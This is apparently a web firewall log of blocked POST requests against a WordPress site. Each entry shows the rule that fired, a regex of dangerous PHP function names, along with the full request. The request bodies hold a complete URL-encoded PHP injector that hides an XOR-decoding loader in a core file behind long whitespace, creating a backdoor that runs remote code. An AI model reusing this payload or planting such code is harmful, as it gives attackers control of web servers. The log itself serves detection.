%255D%2529%2520%255E%252068%2529%253B%2524o%252B%252B%253B%257D%2520while%2528%2524o%2520%253C%2520strlen%2528%2524ent%2529%2529%253B%2520%2524factor%2520%253D%25200%253B%2520do%2520%257B%2520%2524elem%2520%253D%2520%2524desc%255B%2524factor%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524factor%2520%253E%253D%2520count%2528%2524desc%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524elem%2529%2520%253F%2520is_writable%2528%2524elem%2529%2520%253A%2520false%2529%2520%257B%2520%2524hld%2520%253D%2520%2522%2524elem\/.marker%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524hld%252C%2520%2524rec%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524hld%253B%2520%2540unlink%2528%2524hld%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%2524factor%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:4191\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoUpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nlw=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status417.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522pa%255Cx72%255Cx61m%255Cx65t%255Cx65%255Cx72_%255Cx67%255Cx72%255Cx6Fup%2522%2529%2529%257B%2520%2524desc%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520%2524ent%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522pa%255Cx72%255Cx61m%255Cx65t%255Cx65%255Cx72_%255Cx67%255Cx72%255Cx6Fup%2522%255D%2529%253B%2520%2524rec%2520%253D%2520%2527%2527%2520%253B%2520%2524o%2520%253D%25200%253B%2520do%257B%2524rec%2520.%253D%2520chr%2528ord%2528%2524ent%255B%2524o%255D%2529%2520%255E%252068%2529%253B%2524o%252B%252B%253B%257D%2520while%2528%2524o%2520%253C%2520strlen%2528%2524ent%2529%2529%253B%2520%2524factor%2520%253D%25200%253B%2520do%2520%257B%2520%2524elem%2520%253D%2520%2524desc%255B%2524factor%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524factor%2520%253E%253D%2520count%2528%2524desc%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524elem%2529%2520%253F%2520is_writable%2528%2524elem%2529%2520%253A%2520false%2529%2520%257B%2520%2524hld%2520%253D%2520%2522%2524elem\/.marker%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524hld%252C%2520%2524rec%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524hld%253B%2520%2540unlink%2528%2524hld%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%2524factor%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:43:27","51.38.81.255","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> CX:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status417.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522pa%255Cx72%255Cx61m%255Cx65t%255Cx65%255Cx72_%255Cx67%255Cx72%255Cx6Fup%2522%2529%2529%257B%2520%2524desc%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520%2524ent%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522pa%255Cx72%255Cx61m%255Cx65t%255Cx65%255Cx72_%255Cx67%255Cx72%255Cx6Fup%2522%255D%2529%253B%2520%2524rec%2520%253D%2520%2527%2527%2520%253B%2520%2524o%2520%253D%25200%253B%2520do%257B%2524rec%2520.%253D%2520chr%2528ord%2528%2524ent%255B%2524o%255D%2529%2520%255E%252068%2529%253B%2524o%252B%252B%253B%257D%2520while%2528%2524o%2520%253C%2520strlen%2528%2524ent%2529%2529%253B%2520%2524factor%2520%253D%25200%253B%2520do%2520%257B%2520%2524elem%2520%253D%2520%2524desc%255B%2524factor%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524factor%2520%253E%253D%2520count%2528%2524desc%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524elem%2529%2520%253F%2520is_writable%2528%2524elem%2529%2520%253A%2520false%2529%2520%257B%2520%2524hld%2520%253D%2520%2522%2524elem\/.marker%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524hld%252C%2520%2524rec%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524hld%253B%2520%2540unlink%2528%2524hld%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%2524factor%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:4191\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD1tvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5plV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nCX=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status417.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522pa%255Cx72%255Cx61m%255Cx65t%255Cx65%255Cx72_%255Cx67%255Cx72%255Cx6Fup%2522%2529%2529%257B%2520%2524desc%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520%2524ent%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522pa%255Cx72%255Cx61m%255Cx65t%255Cx65%255Cx72_%255Cx67%255Cx72%255Cx6Fup%2522%255D%2529%253B%2520%2524rec%2520%253D%2520%2527%2527%2520%253B%2520%2524o%2520%253D%25200%253B%2520do%257B%2524rec%2520.%253D%2520chr%2528ord%2528%2524ent%255B%2524o%255D%2529%2520%255E%252068%2529%253B%2524o%252B%252B%253B%257D%2520while%2528%2524o%2520%253C%2520strlen%2528%2524ent%2529%2529%253B%2520%2524factor%2520%253D%25200%253B%2520do%2520%257B%2520%2524elem%2520%253D%2520%2524desc%255B%2524factor%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524factor%2520%253E%253D%2520count%2528%2524desc%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524elem%2529%2520%253F%2520is_writable%2528%2524elem%2529%2520%253A%2520false%2529%2520%257B%2520%2524hld%2520%253D%2520%2522%2524elem\/.marker%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524hld%252C%2520%2524rec%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524hld%253B%2520%2540unlink%2528%2524hld%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%2524factor%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:43:28","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status417.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522pa%255Cx72%255Cx61m%255Cx65t%255Cx65%255Cx72_%255Cx67%255Cx72%255Cx6Fup%2522%2529%2529%257B%2520%2524desc%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520%2524ent%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522pa%255Cx72%255Cx61m%255Cx65t%255Cx65%255Cx72_%255Cx67%255Cx72%255Cx6Fup%2522%255D%2529%253B%2520%2524rec%2520%253D%2520%2527%2527%2520%253B%2520%2524o%2520%253D%25200%253B%2520do%257B%2524rec%2520.%253D%2520chr%2528ord%2528%2524ent%255B%2524o%255D%2529%2520%255E%252068%2529%253B%2524o%252B%252B%253B%257D%2520while%2528%2524o%2520%253C%2520strlen%2528%2524ent%2529%2529%253B%2520%2524factor%2520%253D%25200%253B%2520do%2520%257B%2520%2524elem%2520%253D%2520%2524desc%255B%2524factor%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524factor%2520%253E%253D%2520count%2528%2524desc%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524elem%2529%2520%253F%2520is_writable%2528%2524elem%2529%2520%253A%2520false%2529%2520%257B%2520%2524hld%2520%253D%2520%2522%2524elem\/.marker%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524hld%252C%2520%2524rec%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524hld%253B%2520%2540unlink%2528%2524hld%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%2524factor%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-user:?1\nhost:dewenlabels.com\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\ncontent-length:4214\nsec-ch-ua-platform:\"macOS\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nsec-fetch-site:none\nupgrade-insecure-requests:1\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status417.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522pa%255Cx72%255Cx61m%255Cx65t%255Cx65%255Cx72_%255Cx67%255Cx72%255Cx6Fup%2522%2529%2529%257B%2520%2524desc%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520%2524ent%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522pa%255Cx72%255Cx61m%255Cx65t%255Cx65%255Cx72_%255Cx67%255Cx72%255Cx6Fup%2522%255D%2529%253B%2520%2524rec%2520%253D%2520%2527%2527%2520%253B%2520%2524o%2520%253D%25200%253B%2520do%257B%2524rec%2520.%253D%2520chr%2528ord%2528%2524ent%255B%2524o%255D%2529%2520%255E%252068%2529%253B%2524o%252B%252B%253B%257D%2520while%2528%2524o%2520%253C%2520strlen%2528%2524ent%2529%2529%253B%2520%2524factor%2520%253D%25200%253B%2520do%2520%257B%2520%2524elem%2520%253D%2520%2524desc%255B%2524factor%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524factor%2520%253E%253D%2520count%2528%2524desc%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524elem%2529%2520%253F%2520is_writable%2528%2524elem%2529%2520%253A%2520false%2529%2520%257B%2520%2524hld%2520%253D%2520%2522%2524elem\/.marker%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524hld%252C%2520%2524rec%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524hld%253B%2520%2540unlink%2528%2524hld%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%2524factor%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:43:32","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> dK:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status417.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522pa%255Cx72%255Cx61m%255Cx65t%255Cx65%255Cx72_%255Cx67%255Cx72%255Cx6Fup%2522%2529%2529%257B%2520%2524desc%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520%2524ent%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522pa%255Cx72%255Cx61m%255Cx65t%255Cx65%255Cx72_%255Cx67%255Cx72%255Cx6Fup%2522%255D%2529%253B%2520%2524rec%2520%253D%2520%2527%2527%2520%253B%2520%2524o%2520%253D%25200%253B%2520do%257B%2524rec%2520.%253D%2520chr%2528ord%2528%2524ent%255B%2524o%255D%2529%2520%255E%252068%2529%253B%2524o%252B%252B%253B%257D%2520while%2528%2524o%2520%253C%2520strlen%2528%2524ent%2529%2529%253B%2520%2524factor%2520%253D%25200%253B%2520do%2520%257B%2520%2524elem%2520%253D%2520%2524desc%255B%2524factor%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524factor%2520%253E%253D%2520count%2528%2524desc%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524elem%2529%2520%253F%2520is_writable%2528%2524elem%2529%2520%253A%2520false%2529%2520%257B%2520%2524hld%2520%253D%2520%2522%2524elem\/.marker%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524hld%252C%2520%2524rec%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524hld%253B%2520%2540unlink%2528%2524hld%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%2524factor%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7